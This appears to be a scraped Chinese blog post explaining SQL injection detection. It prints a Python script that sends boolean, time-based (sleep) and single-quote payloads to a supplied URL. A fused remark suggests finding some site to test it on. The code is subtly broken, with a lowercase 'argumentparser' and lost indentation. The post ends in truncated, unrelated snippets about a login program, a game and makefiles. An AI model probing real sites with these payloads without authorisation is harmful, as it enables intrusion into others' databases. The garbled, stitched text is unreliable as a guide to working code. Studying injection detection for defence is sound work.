注入點後加上乙個單引號會報錯
and 1=1返回正常頁面,and 1=2返回的頁面不同於正常頁面
and sleep(3) 網頁會等待3秒左右
根據返回的頁面情況我們就能知道是否存在注入漏洞
要獲取頁面返回的結果是不是一樣的,我們可以通過獲取請求頭中的content-length的長度來判斷
知道這些後,我們就能來寫個簡單的python指令碼
# -*- coding:utf-8 -*-找個站測試一下__author__ = "mut6 sch01ar"
import requests
import argparse
import time
def argparse_option():
parser = argparse.argumentparser(description='the help of mysql_inject.py')
parser.add_argument('-u','--url',help='the url to check')
args = parser.parse_args()
return args
def way_1(url):
payload = [' and 1=1',' and 1=2']
url_1 = url+payload[0]
url_2 = url+payload[1]
r = requests.get(url=url)
r_1 = requests.get(url=url_1)
r_2 = requests.get(url=url_2)
h = r.headers.get('content-length')
h_1 = r_1.headers.get('content-length')
h_2 = r_2.headers.get('content-length')
if h ==h_1 and h !=h_2:
print("[*] %s can be injected" %url)
else:
way_2(url)
def way_2(url):
payload = ' and sleep(5)'
t1 = time.time()
requests.get(url=url+payload)
t2 = time.time()
if t2-t1 >5:
print("[*] %s can be injected" %url)
else:
way_3(url)
def way_3(url):
payload = "'"
url_1 = url+payload
r = requests.get(url=url)
r_1 = requests.get(url=url_1)
h = r.headers.get('content-length')
h_1 = r_1.headers.get('content-length')
if h != h_1:
print("[*] %s can be injected" % url)
else:
print("[!] %s can't be injected" %url)
if __name__ == '__main__':
cmd_args = argparse_option()
url = cmd_args.url
if url:
way_1(url)
else:
print("usage:python3 main.py -u [url]")
這個指令碼還只能檢測一些簡單的鏈結,多引數的還檢測不了
python編寫乙個使用者登入程式
print 新建使用者 n n print 登入賬號 e e print 退出程式 q q contact dict while 1 a input 請輸入指令 if a n or a n name input 請輸入使用者名稱 if name in contact name input 此使用者已...
用python編寫乙個小遊戲
1.隨機生成兩個數字 1 1000 在控制台中隨機獲取兩個數字相加 如果使用者輸入正確得10分,否則扣10分。總共5道題,最後輸出得分 import random grade 0for i in range 5 num1 random.randint 1,100 num2 random.randin...
編寫乙個makefile
什麼是makefile?對於大多數的windows程式設計師來講,makefile可能不是那麼重要,因為windows的ide都為程式設計師做好了這個工作。但是在linux下程式設計,會不會寫makefile,從側面上說明乙個人是否具備完成大型工程的能力。makefile的作用 makefile是用...